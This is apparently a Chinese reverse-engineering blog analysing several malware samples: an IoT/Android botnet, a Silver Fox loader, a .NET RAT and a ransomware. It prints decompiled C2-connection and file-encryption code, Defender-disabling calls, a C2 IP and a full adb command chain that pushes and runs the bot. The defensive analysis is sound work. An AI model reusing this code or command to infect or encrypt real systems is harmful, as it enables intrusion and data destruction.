Next的小站

恶意代码分析 & 逆向工程

报告规范

结构

每篇样本分析报告须覆盖以下 10 节:

  1. 概述 — 样本 SHA256、来源、家族归属(一句话定性)
  2. 静态分析 — 文件结构、编译信息、混淆方式、关键字符串
  3. 动态分析 — 进程行为、持久化机制、反分析手段
  4. 核心载荷 — 加密算法、C2 通信协议
  5. ATT&CK 映射 — 战术 → 技术编号 → 本样本中的具体体现
  6. IOC — SHA256 / C2 域名 / 互斥体 / 文件路径 / 注册表(表格形式)
  7. 网络流量 — JA3 指纹、心跳包特征、请求 URI
  8. YARA 规则 — 每条 ≥ 5 个 strings
  9. 归因线索 — 与已知组织 TTP 对比,标注置信度
  10. 待深入 — 列明未完成的分析点

截图

  • 每张截图须有对应文字说明,连续两张截图之间须有过渡文字
  • 删除后文章仍通顺的截图一律删除
  • 反编译代码、字符串列表、简单分支逻辑使用代码块展示,不要截图
  • 保留的截图必须用 Greenshot 添加红框/箭头标注关键位置

措辞

禁止 替代
“可以看见……” “分析发现””该函数实现了””如图所示”
木马/病毒/蠕虫混用 按实际类型准确使用 Trojan / RAT / Worm / Ransomware
“有空再分析” “待深入分析:1) … 2) …”
用截图代替文字说明 文字说明结论,截图作为证据佐证

待学清单

  • ATT&CK 矩阵映射 — https://attack.mitre.org

  • YARA 规则编写 — 每个样本产出 1 条规则

  • 网络流量分析 — Wireshark 抓包、JA3 指纹提取、心跳包识别

  • R3 Syscall — ntdll 调用链分析,自写 syscall stub 绕过用户态 Hook

  • R0 驱动分析 — WinDbg 双机调试,分析恶意 .sys(回调注册/进程隐藏/网络拦截)

  • VMProtect 壳 — 识别 VMP 区段特征,dump 内存定位非虚拟化代码

  • Shellcode 编写 — 位置无关代码(PIC)、反射式 DLL 加载

  • APT 归因 — 精读 20 份公开报告,建立 TTP 特征库,进行 5 次独立归因练习


项目规划

攻击链重建器(Python)

  • 输入 Security.evtx → 解析 4688/5156/4657/4663 → 进程树关联
  • 自动识别攻击阶段(初始执行 → 持久化 → C2)
  • 输出 JSON + Markdown 时间线
  • 3 个银狐样本 EVTX 验证

配置提取框架(C++)

  • 插件架构,首批 3 插件:QuasarRAT / 银狐 / FernBot
  • 手动解析 PE Section / ELF Segment
  • 批量扫描 + 统一 JSON 输出
  • 10 样本验证,准确率 ≥ 80%
  • CLI:mcconfig extract sample.bin --family quasar

核心认知

  • 当前状态: 14 篇博客有逆向深度但缺格式、有分析过程但缺 ATT&CK、有 shellcode 追踪但缺 YARA。不是能力不够,是能力没对准靶子。
  • 核心转向: 从”我会分析样本”转向”我能输出结构化证据”。每个样本产 ATT&CK + YARA + IOC + 流量指纹,分析即积累,积累即归因。

image-20260610163246401

socket(1,1,0)使用tcp协议,其中ensure_persistence有着大量的持久化技术,先看下面的流量加密逻辑

image-20260610163536566

可以清楚的看见它使用了0x7f进行异或加密

image-20260610170119088

这里可以看到用三个命令用来交互

第一个是用来dos攻击的

image-20260610170053251

image-20260610170201491

可以看见它有8中的常见dos攻击,并且会将信息返回c2服务器

第二和是用来横向感染的

image-20260610170440722

先是提取本地ip用于后面的感染

然后循环判断子网段下有没有ip

image-20260610171029155

这个是感染核心逻辑使用开放的5555端口来投放木马文件

第三个是用来执行shell命令来远程操控

image-20260610172009038

popen是执行函数其他的是一些数据处理

接下来我来分析下持久化的函数ensure_persistence

image-20260610173502416

它先是加入了一些开机自启的目录这些都是不同系统下的开机目录

image-20260610173824620

install_chipset_persistence()这个是芯片级的持久化install_root_persistence()这个是有root权限的持久化install_nonroot_persistence()这个是非root权限的持久化

image-20260610174148418

这个是对物联网系统的install_iot_persistence()持久化

image-20260610180130870

这里是创建了一个shell脚本来看主程序有没有存在没有就启动后面是主程序检查脚本存在吗,是两个进程互相检查

这里我们可以看到如果程序运行起来后几乎是很难删除的。

最后我来做一下流量分析

image-20260610182710249

可以看见这个程序发送了请求但是我这个虚拟机断网了没有完成三次握手就没有发送流量了

下面的ioc和hash值

ip 176.65.139.41
主程序隐藏副本 /data/local/tmp/.fern_bot
主程序隐藏副本 /dev/.fern_bot
主程序隐藏副本 /tmp/.fern_bot
主程序隐藏副本 /sdcard/.fern_bot
主程序隐藏副本 /jffs/.sysupd
持久化文件路径 /etc/init.d/S99sysupd SysVinit 启动脚本
持久化文件路径 /etc/hotplug.d/iface/99-sysupd Hotplug 事件触发
持久化文件路径 /etc/crontabs/root Crontab 定时任务
持久化文件路径 /data/local/tmp/.dex
持久化文件路径 /data/local/tmp/.sys
进程与系统 IOC fern_bot
进程与系统 IOC kworker
命令行 IOC `while true; do grep -q ‘fernet_hb’ /proc/net/unix
命令行 IOC adb connect %s:5555 && adb push .fern_bot /data/local/tmp/ && adb shell chmod 777 .fern_bot && adb shell nohup ./fern_bot & 横向感染安卓设备的完整命令链
sha256 3d91b861984bda9fb52b9c082a2839d0a11a9d83979c79676a8667472da8cc09
md5 d2ec16db8621508cada2d9fd60127409
sha1 9f36ac3143357a25935d812f3cc738129188ec84

尝试三次银狐第一次因为重度混淆没过,第二个因为最新inno setup壳没有解壳器想直接脱ida分析delphi文件效果有不是很好找其他分析的要编译,今天来讲一讲我分完的这个银狐吧。

image-20260529201538337

开始两个函数第一个是生成器加的函数不用管

第二个是主要逻辑

image-20260529201716230

image-20260529201735406

进去就是一个花指令然后直接nop

image-20260529201851302

还有个循环执行也去掉

image-20260529201934584

前面两个函数不用管是一些用系统时间反调试的函数

image-20260529202056736

进入最后一个函数看到前面是申请了一块地址去执行sellcode动调进入即可

image-20260529231551679

接下来的逻辑是先跳到另外的地址把这段代码下面的代码改动

image-20260529202414678

这个是改动后的代码可以看到是一个循环解密,从1B0023+CA08的位置异或0B1h再和当前地址的字符相加作为下个字符的异或长度为rcx000000000000CA08

image-20260529202449910

这里可以接着动调将1B0024的位置设为write断点动调后看见跳转到另一个位置

image-20260529203012733

接下来可以看到另一个shellcode

这里值放了主要逻辑,前面的函数有一些反调试

比如

1
2
3
4
5
6
7
8
9
10
11
12
if ( (unsigned int)((__int64 (*)(void))unk_1BC84C)() )
{
v14 = 0;
for ( j = 0; j < 1000; ++j )
{
v0 = __rdtsc();
v14 += v0;
}
strcpy(v9, "ExitProcess");
v24 = (void (__fastcall *)(_QWORD))((__int64 (__fastcall *)(char *, char *))unk_1BB7FC)(v4, v9);
v24(0i64);
}

然后主要这两个函数

image-20260529203737927

第一个是将数据复制到申请的空间上第二个是解密数据

在下面还有一个有意思的

image-20260529203912637

这段代码会一直掉用本函数,呈现给用户的效果就是一直申请管理员权限然后取消了还是弹如果安全意识不过关的人真的会点确认,解决方式也很简单直接关机因病毒的后续逻辑都没执行也就没有持久化

看下解密的函数

image-20260529204312602

我选择用idapython来解可以看见下的脚本

1
2
3
4
5
6
7
8
9
10
11
12
import ida_bytes
START_ADDR = 0x1B002C
DATA_LEN = 0xAA05
XOR_KEY = b"4@e!c!bSL2AeimnwyD4x"
key_len = len(XOR_KEY)
for i in range(DATA_LEN):
current_ea = START_ADDR+i
orig_byte = ida_bytes.get_byte(current_ea)
key_byte = XOR_KEY[i % key_len]
orig_byte = orig_byte ^ key_byte
ida_bytes.patch_byte(current_ea, orig_byte)
print("异或计算完成!")

最后这里就是整个病毒的逻辑这里用代码贴出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
int __fastcall main(int argc, const char **argv, const char **envp)
{
const char **v4; // rdx
int v5; // ecx
const char **v6; // r8
int j; // [rsp+30h] [rbp-128h]
char v8[16]; // [rsp+38h] [rbp-120h] BYREF
char v9[8]; // [rsp+48h] [rbp-110h] BYREF
char v10[16]; // [rsp+50h] [rbp-108h] BYREF
char v11[16]; // [rsp+60h] [rbp-F8h] BYREF
char v12[16]; // [rsp+70h] [rbp-E8h] BYREF
int v13; // [rsp+80h] [rbp-D8h]
int i; // [rsp+84h] [rbp-D4h]
int v15; // [rsp+88h] [rbp-D0h]
void (__fastcall *v16)(__int64); // [rsp+90h] [rbp-C8h]
char v17[16]; // [rsp+98h] [rbp-C0h] BYREF
__int64 (__fastcall *v18)(_QWORD, _QWORD, void *, _QWORD, _DWORD, _DWORD *); // [rsp+A8h] [rbp-B0h]
void (__fastcall *v19)(_QWORD); // [rsp+B0h] [rbp-A8h]
void (__fastcall *v20)(_QWORD); // [rsp+B8h] [rbp-A0h]
_DWORD v21[38]; // [rsp+C0h] [rbp-98h] BYREF

strcpy(v8, "kernel32.dll");
strcpy(v17, "user32.dll");
strcpy(v9, "Sleep");
v16 = (void (__fastcall *)(__int64))sub_1B0C61((__int64)v8, (__int64)v9);
sub_1BA561();
v16(500i64);
if ( (unsigned int)sub_1B24A1() ) // 互斥体排斥确保只有一个病毒执行
{
v13 = 0;
while ( v13 < 1000 )
{
v16(500i64);
++v13;
if ( !sub_1B2C41() && sub_1B27F1() && sub_1B29C1() && sub_1B2721(2u) && !sub_1B23B1() && !sub_1B2D51(10000) )
break;
}
sub_1B1BE1();
if ( (unsigned int)((__int64 (*)(void))unk_1B1791)() )//反沙箱,动调
main(v5, v4, v6);
v15 = 0;
if ( find360() )
{
strcpy(v12, "CreateThread");
v18 = (__int64 (__fastcall *)(_QWORD, _QWORD, void *, _QWORD, _DWORD, _DWORD *))sub_1B0C61(
(__int64)v8,
(__int64)v12);
v18(0i64, 0i64, TCPkill360, 0i64, 0, 0i64);
v16(30000i64);
for ( i = 0; find360() && i < 1; ++i )
{
for ( j = 0; j < 3; ++j )
{
*(_QWORD *)&v21[2 * j + 12] = v18(0i64, 0i64, &kill360, 0i64, 0, &v21[j]);
if ( *(_QWORD *)&v21[2 * j + 12] )
{
v16(5000i64);
if ( !find360() )
break;
}
}
}
v16(10000i64);
if ( find360() )
v15 = 1;
v16(10000i64);
mainkey();
sub_1B2281();
v16(5000i64);
}
else
{
mainkey();
}
strcpy(v11, "ExitProcess");
v20 = (void (__fastcall *)(_QWORD))sub_1B0C61((__int64)v8, (__int64)v11);
v20(0i64);
return 0;
}
else
{
strcpy(v10, "ExitProcess");
v19 = (void (__fastcall *)(_QWORD))sub_1B0C61((__int64)v8, (__int64)v10);
v19(0i64);
return 0;
}
}

可以看见这里的函数调用的大部分都是内核函数

看下比较关键的函数sub_1B0C61

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall sub_1B0C61(__int64 a1, __int64 a2)
{
struct _LIST_ENTRY *v2; // rax
struct _LIST_ENTRY *v3; // rax
__int64 v5; // [rsp+20h] [rbp-38h]
__int64 (__fastcall *v6)(__int64); // [rsp+28h] [rbp-30h]
__int64 (__fastcall *v7)(__int64, __int64); // [rsp+30h] [rbp-28h]
__int64 v8; // [rsp+38h] [rbp-20h]

v2 = sub_1B0BA1(1527267390);//找到 kernel32.dll 的基址
v6 = (__int64 (__fastcall *)(__int64))((__int64 (__fastcall *)(struct _LIST_ENTRY *, __int64))sub_1B0A21)(
v2,
1666965384i64);//找LoadLibraryA
v3 = sub_1B0BA1(1527267390);
v7 = (__int64 (__fastcall *)(__int64, __int64))((__int64 (__fastcall *)(struct _LIST_ENTRY *, __int64))sub_1B0A21)(
v3,
1227537171i64);//GetProcAddress
if ( v6 && v7 && (v8 = v6(a1), (v5 = v7(v8, a2)) != 0) )
return v5;
else
return 0i64;
}

这段代码相当于直接找的系统的dll导出表的函数的地址没有调用api来找以此来免杀前面的shellcode也用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 sub_1B2281()
{
__int64 result; // rax
__int64 (__fastcall *v1)(_QWORD, char *, char *, char *, _QWORD, _DWORD, _QWORD, _QWORD); // rax
int v2; // eax
__int64 (__fastcall *v3)(_QWORD, char *, char *, char *, _QWORD, _DWORD, int); // [rsp+38h] [rbp-30h]
char v4[16]; // [rsp+40h] [rbp-28h] BYREF
char v5[24]; // [rsp+50h] [rbp-18h] BYREF

result = ((__int64 (*)(void))unk_1B1FA1)();
if ( (_DWORD)result )
{
strcpy(v4, "Shell32.dll");
strcpy(v5, "ShellExecuteA");
v1 = (__int64 (__fastcall *)(_QWORD, char *, char *, char *, _QWORD, _DWORD, _QWORD, _QWORD))sub_1B0C61(
(__int64)v4,
(__int64)v5);
v2 = v1(0i64, aOpen, aPowershellExe, aAddMppreferenc, 0i64, 0, 0i64, v1);//关闭Windows Defender
result = v3(0i64, aOpen_0, aPowershellExe_0, aTryNullIcimMsf, 0i64, 0, v2);//全部加入白名单
if ( !(_DWORD)result )
return 1i64;
}
return result;

image-20260529211902144

这下面两个函数是关闭360和360tcp网络通讯的函数

image-20260529212219419

image-20260529212314875

最后的最后我们来看下病毒执行部分

一共分别是防杀,c2地址拼接,下载文件,判断qq管家在不,下载图片并解密,执行图片里的shellcode

image-20260529214327317

在拼接完后就是个凯撒加密结果是https://[host动态获取].oss-cn-beijing.aliyuncs.com/tad

“j.urk” shift=17 → s.dat (下载清单文件)

“j.agx” shift=17 → s.jpg (藏 shellcode 的图片)

sub_1B4CA1()用来从网上下载文件sub_1B4C51用来解密

image-20260529222033549

这里判断有没有腾讯管家如果有就直接退出程序

image-20260529225111802

这里下载s.jpg图片再再调整好参数

1
2
3
4
v70 = (__int64 (*)(void))((__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD))sub_1B5521)(
v78[0],
LODWORD(v78[2]),
HIDWORD(v78[1]));

然后执行

1
v99 = v70();

image-20260529225500811

image-20260529225512213

最后关闭程序

ioc提取

类型 说明
C2 域名 *.oss-cn-beijing.aliyuncs.com 阿里云北京 OSS,bucket 按受害者主机名动态生成
C2 路径 /tad 主载荷下载接口
C2 路径 /s.jpg Shellcode 隐写载体
C2 路径 /s.dat ranchserv.jpg 数据文件
URL 模板 https://[hostname].oss-cn-beijing.aliyuncs.com/tad 动态 C2 构造

结语:此木马运用多层shellcode加载和手动获取内核函数的手段来运行并且主要执行文件要通过云端下载

image-20260513214405285

依旧找到主函数这个是net结构拖进dnspy分析由于混淆比较轻就没管(就是一些函数名取地比较混乱)

image-20260513214539382

这个是主函数分为三个部分字符解密验证,木马运行,c2连接

解密验证

主要是这个函数rShUJoWxIfULR.gsItUfYUAszz

image-20260513214930426

可以看见上面的gsItUfYUAsz是用来解密ip,端口地址的至于下面的xViGYhhkCyrTQ是用来验证签名的(主要逻辑是用解密的公钥来rsa解密的结果和上面数据同时hash对比)

然后来看看上面的解密逻辑

image-20260513215348024

可以看见这里使用了aes256的cbc模式和HMAC-SHA256来检验

木马运行

image-20260513215719995

这个是运行逻辑分别是先检查一个木马运行,反调试检测,持久化设计,禁止终止进程

image-20260513215928275

这里看到用互斥体来保持一个运行程序

image-20260513220043682

这个用来反调试分别是反虚拟机,反调试,,判断内存大小来反沙箱,反xp系统

接下来看持久化设计

image-20260513222041250

先是获取目标文件如果有久的程序久停止然后如果是管理员权限就打开cmd然后用任务计划来自启动

image-20260513223608665

没有权限就加入开机自启目录

image-20260513223707372

然后创造新的文件将旧的复制进去,再写一个bat文本并运行,它重启新文件再删除自己,最后隐藏木马

image-20260513224853737

他是用来关闭连接和删除程序的(当环境不对时)

这个是禁止终止进程

image-20260513224421561

主要先提升权限设置当前程序的重要程度当强制终止时就蓝屏

c2连接

image-20260513225213926

image-20260513225337914

第一个时用来关闭各种协议的,第二是连上服务器的关键但是内容比较多我用代码和注释来解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
public static void mckAnMrPneuzxANr()
{
try
{
liiyJozWhQGcm.qTXVqOEKvPlptUhe = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
{
ReceiveBufferSize = 51200,
SendBufferSize = 51200
};//tcp建立
if (rShUJoWxIfULR.mJRpWzfYptlR == "null")
{
string text = rShUJoWxIfULR.IwnXSYzJgOVYTMj.Split(new char[] { ',' })[new Random().Next(rShUJoWxIfULR.IwnXSYzJgOVYTMj.Split(new char[] { ',' }).Length)];
int num = Convert.ToInt32(rShUJoWxIfULR.eGvvAeHcGvsmgsOkug.Split(new char[] { ',' })[new Random().Next(rShUJoWxIfULR.eGvvAeHcGvsmgsOkug.Split(new char[] { ',' }).Length)]);//ip地址,端口拆分
if (liiyJozWhQGcm.lGcTzSsFKfoycD(text))
{
foreach (IPAddress ipaddress in Dns.GetHostAddresses(text))
{
try
{
liiyJozWhQGcm.qTXVqOEKvPlptUhe.Connect(ipaddress, num);
if (liiyJozWhQGcm.qTXVqOEKvPlptUhe.Connected)
{
break;
}
}
catch
{
}
}
}
else
{
liiyJozWhQGcm.qTXVqOEKvPlptUhe.Connect(text, num);
}
}//尝试用ip直连
else
{
using (WebClient webClient = new WebClient())
{
NetworkCredential networkCredential = new NetworkCredential("", "");
webClient.Credentials = networkCredential;
string[] array = webClient.DownloadString(rShUJoWxIfULR.mJRpWzfYptlR).Split(new string[] { ":" }, StringSplitOptions.None);
rShUJoWxIfULR.IwnXSYzJgOVYTMj = array[0];
rShUJoWxIfULR.eGvvAeHcGvsmgsOkug = array[new Random().Next(1, array.Length)];
liiyJozWhQGcm.qTXVqOEKvPlptUhe.Connect(rShUJoWxIfULR.IwnXSYzJgOVYTMj, Convert.ToInt32(rShUJoWxIfULR.eGvvAeHcGvsmgsOkug));
}
}//用名字链接来获取ip再联系服务器
if (liiyJozWhQGcm.qTXVqOEKvPlptUhe.Connected)
{
liiyJozWhQGcm.sMTGUDsWLFW = true;
liiyJozWhQGcm.AYswsEOoIgyT = new SslStream(new NetworkStream(liiyJozWhQGcm.qTXVqOEKvPlptUhe, true), false, new RemoteCertificateValidationCallback(liiyJozWhQGcm.JZXSVHgewuqAOe)); //跳过ssl检验
liiyJozWhQGcm.AYswsEOoIgyT.AuthenticateAsClient(liiyJozWhQGcm.qTXVqOEKvPlptUhe.RemoteEndPoint.ToString().Split(new char[] { ':' })[0], null, SslProtocols.Tls, false);//tls加密
liiyJozWhQGcm.sEZsahAWzA = 4L;
liiyJozWhQGcm.usTxSbjkwLraBeu = new byte[liiyJozWhQGcm.sEZsahAWzA];
liiyJozWhQGcm.DMBgjrvDuLmnnF = 0L;
liiyJozWhQGcm.ALsFOGfDQIYEq(xzQgkqwNpJ.LXExWtOiUUtLe());//发送本机消息
liiyJozWhQGcm.ECWSXtkklGcnZ = 0;
liiyJozWhQGcm.fNRolwEdaLMWcm = false;
liiyJozWhQGcm.OcgqzeSEjnEmft = new Timer(new TimerCallback(liiyJozWhQGcm.NkXKBOZThWVSL), null, new Random().Next(10000, 15000), new Random().Next(10000, 15000));//心跳包
liiyJozWhQGcm.jPdfsrWDTFIim = new Timer(new TimerCallback(liiyJozWhQGcm.sbzatzMGJdJdc), null, 1, 1);//持续接受命令
liiyJozWhQGcm.AYswsEOoIgyT.BeginRead(liiyJozWhQGcm.usTxSbjkwLraBeu, (int)liiyJozWhQGcm.DMBgjrvDuLmnnF, (int)liiyJozWhQGcm.sEZsahAWzA, new AsyncCallback(liiyJozWhQGcm.GOShPGzCCNbAE), null);//接受命令
}
else
{
liiyJozWhQGcm.sMTGUDsWLFW = false;
}
}
catch
{
liiyJozWhQGcm.sMTGUDsWLFW = false;
}
}

结语:这个木马就分析完但是解密和流量分析都还没做有空做一下

最近研究了下ai agent本地部署的事,想要用国外的大模型还是比较麻烦

第一是用中转站open ai不稳定而且容易倒闭,

第二用集成的ai平台虽然比较稳定但是每个月要冲不少钱还不能本地化部署也很麻烦而且没有信誉较好的凭证容易删号跑路,

第三就是注册港澳电话卡获得国外的账户然后直接使用但每次的电话费用和要翻外网使用成本比较高和程序繁琐(有一个谷歌账号就好了)

第四使用本地开源模型一方面是我的笔记本负担不了那么多内存和开源模型大多没有那么先进

所以我想要可以agent代理模型调用方便,负担小就使用了openclaw和deepseek v4,再加上要一些图片读取使用豆包的1.8模型

接下来是安装步骤

1.用命令行安装openclaw(问ai)

2.去deepseek和火山引擎获得open api接口(记得看官方文档里面的curl和模型名)

3.用openclaw的命令安装deepseek和doubao(openclaw configure)local-model-custom provide-api配置

4.打开(openclaw gateway)用deepseek模型写python脚本调用豆包读取图片

下面是我布置成功的界面

image-20260513170903013

image-20260425170630680

这是一个勒索病毒

image-20260425170802329

主函数开头是一个获得私钥的处理

load_public_key();是主要逻辑函数

image-20260425171015999

这里是一个读取磁盘每个文件并加密的过程其中加密逻辑主要在process_directory(v28, v23, v16);中

末尾change_wallpaper_for_all_users();set_lock_screen_for_all_users();分别是替换壁纸和锁定壁纸

现在来看一下process_directory(v28, v23, v16);

image-20260427214521705

函数前面是为了开启线程,让循环加密的时候可以同时是机密多个文件

std::function<void ()(std::string const&)>::operator()(v5, a1);这个是加密的主要逻辑

image-20260425173322605

打开看可以看见有调用了v2函数但是函数调用的地址是偏移调用的所以必须动调来看

image-20260427214557897

接着可以看见又调用了__invoke_r

image-20260425173544172

又调用了__invoke_impl

image-20260425173745629

打开process_directory可以看见主要逻辑

image-20260425173837447

这里可以清楚的看见加密的主要用了lambda(std::string const&)#1}::operator() const(std::string const&)::{lambda(void)#1

我们直接搜索函数lambda(std::string const&)#1}::operator()

image-20260427214320773

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
__int64 __fastcall encrypt_file(__int64 a1, __int64 a2, __int64 a3)
{
const CHAR *v3; // rax
unsigned int v4; // ebx
LARGE_INTEGER v5; // rax
__int64 v6; // rax
DWORD v7; // ebx
void *v8; // rax
__int64 v10; // rbx
__int64 v11; // rdi
__int64 v12; // r12
__int64 v13; // rsi
__int64 v14; // rax
const void *v15; // rax
DWORD v16; // ebx
const void *v17; // rax
__int64 v18; // rbx
__int64 v19; // rax
const CHAR *v20; // rbx
const CHAR *v21; // rax
DWORD NumberOfBytesWritten; // [rsp+4Ch] [rbp-34h] BYREF
char v24[28]; // [rsp+50h] [rbp-30h] BYREF
DWORD NumberOfBytesRead; // [rsp+6Ch] [rbp-14h] BYREF
char v26[32]; // [rsp+70h] [rbp-10h] BYREF
int Buffer[2]; // [rsp+90h] [rbp+10h] BYREF
__int64 v28; // [rsp+98h] [rbp+18h] BYREF
DWORD v29; // [rsp+19Ch] [rbp+11Ch] BYREF
char v30[32]; // [rsp+1A0h] [rbp+120h] BYREF
char v31[32]; // [rsp+1C0h] [rbp+140h] BYREF
char v32[32]; // [rsp+1E0h] [rbp+160h] BYREF
LARGE_INTEGER FileSize; // [rsp+200h] [rbp+180h] BYREF
char v34; // [rsp+20Eh] [rbp+18Eh] BYREF
char v35; // [rsp+20Fh] [rbp+18Fh] BYREF
unsigned __int64 v36; // [rsp+210h] [rbp+190h] BYREF
__int64 v37; // [rsp+218h] [rbp+198h] BYREF
char v38; // [rsp+227h] [rbp+1A7h] BYREF
char *v39; // [rsp+228h] [rbp+1A8h]
char *v40; // [rsp+230h] [rbp+1B0h]
char *v41; // [rsp+238h] [rbp+1B8h]
DWORD nNumberOfBytesToRead[2]; // [rsp+240h] [rbp+1C0h]
unsigned __int64 QuadPart; // [rsp+248h] [rbp+1C8h]
LARGE_INTEGER v44; // [rsp+250h] [rbp+1D0h]
HANDLE hFile; // [rsp+258h] [rbp+1D8h]
__int64 v46; // [rsp+260h] [rbp+1E0h]
unsigned __int64 v47; // [rsp+268h] [rbp+1E8h]

v3 = (const CHAR *)std::string::c_str(a1);
hFile = CreateFileA(v3, 0xC0000000, 1u, 0i64, 3u, 0x80u, 0i64);
if ( hFile == (HANDLE)-1i64 )
{
return 0;
}
else if ( GetFileSizeEx(hFile, &FileSize)
&& ((v44 = FileSize, FileSize.QuadPart > 0x500000000ui64)
? (v5.QuadPart = 0x280000000i64)
: (LONGLONG)(v5 = v44),
(QuadPart = v5.QuadPart) != 0) )
{
v41 = &v34;
std::vector<unsigned char>::vector(v32, 12i64, &v34);
std::__new_allocator<unsigned char>::~__new_allocator(&v34);
v6 = std::vector<unsigned char>::data(v32);
randombytes_buf(v6, 12i64);
encrypt_key_rsa(v31, a2, a3);
if ( (unsigned __int8)std::vector<unsigned char>::empty(v31) )
{
CloseHandle(hFile);
v4 = 0;
}
else
{
v40 = &v35;
std::vector<unsigned char>::vector(v30, 0x800000i64, &v35);
std::__new_allocator<unsigned char>::~__new_allocator(&v35);
v47 = 0i64;
v46 = 0i64;
SetFilePointer(hFile, 0, 0i64, 0);
while ( v47 < QuadPart )
{
v36 = QuadPart - v47;
v37 = 0x800000i64;
*(_QWORD *)nNumberOfBytesToRead = *(_QWORD *)std::min<unsigned long long>(&v37, &v36);
NumberOfBytesRead = 0;
v7 = nNumberOfBytesToRead[0];
v8 = (void *)std::vector<unsigned char>::data(v30);
if ( !ReadFile(hFile, v8, v7, &NumberOfBytesRead, 0i64) || !NumberOfBytesRead )
break;
v39 = &v38;
std::vector<unsigned char>::vector(v24, NumberOfBytesRead, &v38);
std::__new_allocator<unsigned char>::~__new_allocator(&v38);
v10 = std::array<unsigned char,32ull>::data(a2);
v11 = std::vector<unsigned char>::data(v32);
v12 = NumberOfBytesRead;
v13 = std::vector<unsigned char>::data(v30);
v14 = std::vector<unsigned char>::data(v24);
crypto_stream_chacha20_xor_ic(v14, v13, v12, v11, v46, v10);
SetFilePointer(hFile, -NumberOfBytesRead, 0i64, 1u);
LODWORD(v10) = NumberOfBytesRead;
v15 = (const void *)std::vector<unsigned char>::data(v24);
WriteFile(hFile, v15, v10, &NumberOfBytesWritten, 0i64);
v46 += ((unsigned __int64)NumberOfBytesRead + 63) >> 6;
v47 += NumberOfBytesRead;
std::vector<unsigned char>::~vector(v24);
}
SetFilePointer(hFile, 0, 0i64, 2u);
v16 = std::vector<unsigned char>::size(v32);
v17 = (const void *)std::vector<unsigned char>::data(v32);
WriteFile(hFile, v17, v16, &v29, 0i64);
Buffer[0] = 1262836045;
Buffer[1] = std::vector<unsigned char>::size(v31);
v18 = std::vector<unsigned char>::end(v31);
v19 = std::vector<unsigned char>::begin(v31);
std::copy<__gnu_cxx::__normal_iterator<unsigned char *,std::vector<unsigned char>>,unsigned char *>(
v19,
v18,
&v28);
WriteFile(hFile, Buffer, 0x108u, &v29, 0i64);
CloseHandle(hFile);
std::operator+<char>(v26, a1, ".clear");
v20 = (const CHAR *)std::string::c_str(v26);
v21 = (const CHAR *)std::string::c_str(a1);
MoveFileExA(v21, v20, 1u);
v4 = 1;
std::string::~string(v26);
std::vector<unsigned char>::~vector(v30);
}
std::vector<unsigned char>::~vector(v31);
std::vector<unsigned char>::~vector(v32);
}
else
{
CloseHandle(hFile);
return 0;
}
return v4;
}

可以非常明白的看见加密逻辑,所有被加密的都会加上.clear,这个是分析等我看看能不能写一个解密器

image-20260423155713827

来看这个木马比上个稍微难一点

image-20260423160012069

可以看见这个代码中有大量的混淆先找到程序入口

image-20260423160442461

可以看到有混淆的存在来分析是非常困难的于是我就去搜索有没有相关工具可以去混淆

de4dot就是一个去混淆的好工具

image-20260423161244716

可以看见它生成了个clean文件

再打开看看

image-20260423161437355

可以看见混淆清理的非常干净

查看函数GForm0()

image-20260423161635809

1
2
3
4
5
6
7
protected override void OnLoad(EventArgs e)
{
base.Visible = false;
base.ShowInTaskbar = false;
this.method_1();
base.OnLoad(e);
}

其中method_1()是木马的主要逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
public void method_1()
{
if (!GClass65.smethod_0())
{
Environment.Exit(1);
}
this.gclass1_0 = new GClass1(GClass65.string_5);
if (!this.gclass1_0.CreatedNew)
{
Environment.Exit(2);
}
Class19.smethod_4(Application.ExecutablePath);
GClass5 gclass = new GClass5();
if (this.IsInstallationRequired)
{
this.gclass1_0.Dispose();
try
{
gclass.method_1();
Environment.Exit(3);
return;
}
catch (Exception)
{
return;
}
}
try
{
gclass.method_0();
}
catch (Exception)
{
}
if (!GClass65.bool_6)
{
this.method_0();
}
if (GClass65.bool_3)
{
this.gclass46_0 = new GClass46();
this.gclass46_0.method_0();
}
Class27 @class = new Class27(new Class26().method_0(GClass65.string_1));
this.gclass31_0 = new GClass31(@class, GClass65.x509Certificate2_0);
this.gclass31_0.Event_1 += this.gclass31_0_ClientState;
this.method_2(this.gclass31_0);
this.gclass2_0 = new GClass2(this.gclass31_0);
this.gclass2_0.method_1();
new Thread(delegate
{
this.gclass31_0.method_15();
Environment.Exit(0);
}).Start();
}

GClass65是这个木马的初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static class GClass65
{
// Token: 0x06000295 RID: 661 RVA: 0x00058284 File Offset: 0x00056484
public static bool smethod_0()
{
if (string.IsNullOrEmpty(GClass65.string_0))
{
return false;
}
Class28 @class = new Class28(GClass65.string_7);
GClass65.string_8 = @class.method_2(GClass65.string_8);
GClass65.string_0 = @class.method_2(GClass65.string_0);
GClass65.string_1 = @class.method_2(GClass65.string_1);
